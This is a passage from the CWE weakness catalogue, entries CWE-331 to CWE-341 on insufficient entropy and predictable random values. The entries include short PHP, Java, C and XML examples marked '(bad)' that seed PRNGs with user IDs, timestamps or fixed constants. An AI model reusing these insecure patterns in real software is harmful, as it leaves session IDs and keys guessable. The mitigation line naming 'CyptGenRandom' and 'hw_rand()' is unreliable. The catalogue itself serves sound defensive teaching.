CERT C Secure Coding	MSC32-C	CWE More Abstract	Properly seed pseudorandom number generators
WASC	11		Brute Force
WASC	18		Credential/Session Prediction
The CERT Oracle Secure Coding Standard for Java (2011)	MSC02-J		Generate strong random numbers

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
59	Session Credential Falsification through Prediction
112	Brute Force
485	Signature Spoofing by Key Recreation

References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-331: Insufficient Entropy

Weakness ID : 331 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	330	Use of Insufficiently Random Values	730
ParentOf	V	332	Insufficient Entropy in PRNG	739
ParentOf	V	333	Improper Handling of Insufficient Entropy in TRNG	740

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	330	Use of Insufficiently Random Values	730

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2014
MemberOf	C	310	Cryptographic Issues	1858

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Bypass Protection Mechanism Other *An attacker could guess the random numbers generated and could gain unauthorized access to a system if the random numbers are used for authentication and authorization.*	

Potential Mitigations

Phase: Implementation

Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.

Demonstrative Examples

Example 1:

This code generates a unique random identifier for a user's session.

Example Language: PHP *(bad)*

```
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

Example 2:

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

Example Language: Java *(bad)*

```
String GenerateReceiptURL(String baseUrl) {
    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

Observed Examples

Reference	Description
CVE-2001-0950	Insufficiently random data used to generate session tokens using C rand(). Also, for certificate/key generation, uses a source that does not block when entropy is low. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0950*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928
MemberOf	C	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	1154	2002

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient Entropy
WASC	11		Brute Force
CERT C Secure Coding	MSC32-C	Exact	Properly seed pseudorandom number generators

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
59	Session Credential Falsification through Prediction

References

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

CWE-332: Insufficient Entropy in PRNG

Weakness ID : 332 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	331	Insufficient Entropy	736

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *If a pseudo-random number generator is using a limited entropy source which runs out (if the generator fails closed), the program may pause or crash.*	
Access Control Other	Bypass Protection Mechanism Other *If a PRNG is using a limited entropy source which runs out, and the generator fails open, the generator could produce predictable random numbers. Potentially a weak source of random numbers could weaken the encryption method used for authentication of users.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Implementation

Consider a PRNG that re-seeds itself as needed from high-quality pseudo-random output, such as hardware devices.

Phase: Architecture and Design

When deciding which PRNG to use, look at its sources of entropy. Depending on what your security needs are, you may need to use a random number generator that always uses strong random data -- i.e., a random number generator that attempts to be strong but will fail in a weak way or will always provide some middle ground of protection through techniques like re-seeding. Generally, something that always provides a predictable amount of strength is preferable.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	1910
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	1993

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Insufficient entropy in PRNG
The CERT Oracle Secure Coding Standard for Java (2011)	MSC02-J		Generate strong random numbers

References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

CWE-333: Improper Handling of Insufficient Entropy in TRNG

Weakness ID : 333 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block.

Extended Description

The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355
ChildOf	B	331	Insufficient Entropy	736

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *A program may crash or block if it runs out of random numbers.*	

Potential Mitigations

Phase: Implementation

Rather than failing on a lack of random numbers, it is often preferable to wait for more numbers to be created.

Demonstrative Examples

Example 1:

This code uses a TRNG to generate a unique session id for new connections to a server:

Example Language: C *(bad)*

```
while (1){
    if (haveNewConnection()){
        if (hwRandom()){
            int sessionID = hwRandom();
            createNewConnection(sessionID);
        } } }
```

This code does not attempt to limit the number of new connections or make sure the TRNG can successfully generate a new random number. An attacker may be able to create many new connections and exhaust the entropy of the TRNG. The TRNG may then block and cause the program to crash or hang.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	1910
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure of TRNG
The CERT Oracle Secure Coding Standard for Java (2011)	MSC02-J		Generate strong random numbers

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-334: Small Space of Random Values

Weakness ID : 334 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	730
ParentOf		6	J2EE Misconfiguration: Insufficient Session-ID Length	2

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2014
MemberOf	C	310	Cryptographic Issues	1858

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Bypass Protection Mechanism Other *An attacker could easily guess the values used. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Demonstrative Examples

Example 1:

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

Example Language: XML *(bad)*

```
<sun-web-app>
   ...
   <session-config>
      <session-properties>
         <property name="idLengthBytes" value="8">
            <description>The number of bytes in this web module's session ID.</description>
         </property>
      </session-properties>
   </session-config>
   ...
</sun-web-app>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

Observed Examples

Reference	Description
CVE-2002-0583	Product uses 5 alphanumeric characters for filenames of expense claim reports, stored under web root. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0583*
CVE-2002-0903	Product uses small number of random numbers for a code to approve an action, and also uses predictable new user IDs, allowing attackers to hijack new accounts. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0903*
CVE-2003-1230	SYN cookies implementation only uses 32-bit keys, making it easier to brute force ISN. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1230*
CVE-2004-0230	Complex predictability / randomness (reduced space). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0230*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037

Nature	Type	ID	Name	V	Page
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Small Space of Random Values

References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)

Weakness ID : 335 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software uses a Pseudo-Random Number Generator (PRNG) that does not correctly manage seeds.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	330	Use of Insufficiently Random Values	730
ParentOf	V	336	Same Seed in Pseudo-Random Number Generator (PRNG)	745
ParentOf	V	337	Predictable Seed in Pseudo-Random Number Generator (PRNG)	747
ParentOf	V	339	Small Seed Space in PRNG	751

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	330	Use of Insufficiently Random Values	730

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2014
MemberOf	C	310	Cryptographic Issues	1858

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Bypass Protection Mechanism Other *if a PRNG is used incorrectly, such as using the same seed for each initialization or using a predictable seed, then an attacker may be able to easily guess the seed and thus the random numbers. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.*	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			PRNG Seed Error

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG)

Weakness ID : 336 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized.

Extended Description

If an attacker can guess (or knows) the seed, then the attacker may be able to determine the random numbers that will be produced from the PRNG.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	744

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Do not reuse PRNG seeds. Consider a PRNG that periodically re-seeds itself as needed from a high quality pseudo-random output, such as hardware devices.

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Demonstrative Examples

Example 1:

The following code uses a statistical PRNG to generate account IDs.

Example Language: Java *(bad)*

```
private static final long SEED = 1234567890;
public int generateAccountID() {
    Random random = new Random(SEED);
    return random.nextInt();
}
```

Because the program uses the same seed value for every invocation of the PRNG, its values are predictable, making the system vulnerable to attack.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	1910
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	1993

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Same Seed in PRNG
The CERT Oracle Secure Coding Standard for Java (2011)	MSC02-J		Generate strong random numbers

References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)

Weakness ID : 337 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.

Extended Description

The use of predictable seeds significantly reduces the number of possible seeds that an attacker would need to test in order to predict which random numbers will be generated by the PRNG.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	744

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Use non-predictable inputs for seed generation.

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

Demonstrative Examples

Example 1:

Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

Example Language: Java *(bad)*

```
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

Example Language: C *(bad)*

```
srand(time());
int randNum = rand();
```

An attacker can easily predict the seed used by these PRNGs, and so also predict the stream of random numbers generated. Note these examples also exhibit CWE-338 (Use of Cryptographically Weak PRNG).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	1910
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	1993

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Predictable Seed in PRNG
The CERT Oracle Secure Coding Standard for Java (2011)	MSC02-J		Generate strong random numbers

References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)

Weakness ID : 338 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong.

Extended Description

When a non-cryptographic PRNG is used in a cryptographic context, it can expose the cryptography to certain types of attacks.

Often a pseudo-random number generator (PRNG) is not designed for cryptography. Sometimes a mediocre source of randomness is sufficient or preferable for algorithms that use random numbers. Weak generators generally take less processing power and/or do not use the precious, finite, entropy sources on a system. While such PRNGs might have very useful features, these same features could be used to break the cryptography.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	730

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	730

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2014
MemberOf	C	310	Cryptographic Issues	1858

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *If a PRNG is used for authentication and authorization, such as a session ID or a seed for generating a cryptographic key, then an attacker may be able to easily guess the ID or cryptographic key and gain access to restricted functionality.*	

Potential Mitigations

Phase: Implementation

Use functions or hardware which use a hardware-based random number generation for all crypto. This is the recommended solution. Use CyptGenRandom on Windows, or hw_rand() on Linux.

Demonstrative Examples

Example 1:

Both of these examples use a statistical PRNG to generate a random number:

Example Language: Java *(bad)*

```
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

Example Language: C *(bad)*

```
srand(time());
int randNum = rand();
```

The random number functions used in these examples, rand() and Random.nextInt(), are not considered cryptographically strong. An attacker may be able to predict the random numbers generated by these functions. Note that these example also exhibit CWE-337 (Predictable Seed in PRNG).

Observed Examples

Reference	Description
CVE-2009-3278	Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3278*
CVE-2009-3238	Random number generator can repeatedly generate the same value. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3238*
CVE-2009-2367	Web application generates predictable session IDs, allowing session hijacking. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2367*
CVE-2008-0166	SSL library uses a weak random number generator that only generates 65,536 unique keys. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0166*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928
MemberOf	C	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	1154	2002

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Non-cryptographic PRNG
CERT C Secure Coding	MSC30-C	CWE More Abstract	Do not use the rand() function for generating pseudorandom numbers

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-339: Small Seed Space in PRNG

Weakness ID : 339 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A PRNG uses a relatively small space of seeds.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	744
PeerOf	B	341	Predictable from Observable State	753

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Use well vetted pseudo-random number generating algorithms with adequate length seeds. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928

Notes

Maintenance

This entry overlaps predictable from observable state (CWE-341).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Small Seed Space in PRNG

References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

CWE-340: Generation of Predictable Numbers or Identifiers

Weakness ID : 340 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The product uses a scheme that generates numbers or identifiers that are more predictable than required.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	330	Use of Insufficiently Random Values	730
ParentOf	B	341	Predictable from Observable State	753
ParentOf	B	342	Predictable Exact Value from Previous Values	755
ParentOf	B	343	Predictable Value Range from Previous Values	756

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	905	SFP Primary Cluster: Predictability	888	1928

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Predictability problems
WASC	11		Brute Force

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-341: Predictable from Observable State

Weakness ID : 341 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		340	Generation of Predictable Numbers or Identifiers	752
PeerOf		339	Small Seed Space in PRNG	751

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1213	Random Number Issues	2014

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context *This weakness could be exploited by an attacker in a number ways depending on the context. If a predictable number is used to generate IDs or keys that are used within protection mechanisms, then an attacker could gain unauthorized access to the system. If predictable filenames are used for storing sensitive information, then an attacker might gain access to the system and may be able to gain access to the information in the file.*	

Potential Mitigations

Phase: Implementation

Increase the entropy used to seed a PRNG.

Phase: Architecture and Design

Phase: Requirements

Strategy = Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

Demonstrative Examples

Example 1:

This code generates a unique random identifier for a user's session.

Example Language: PHP *(bad)*

```
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

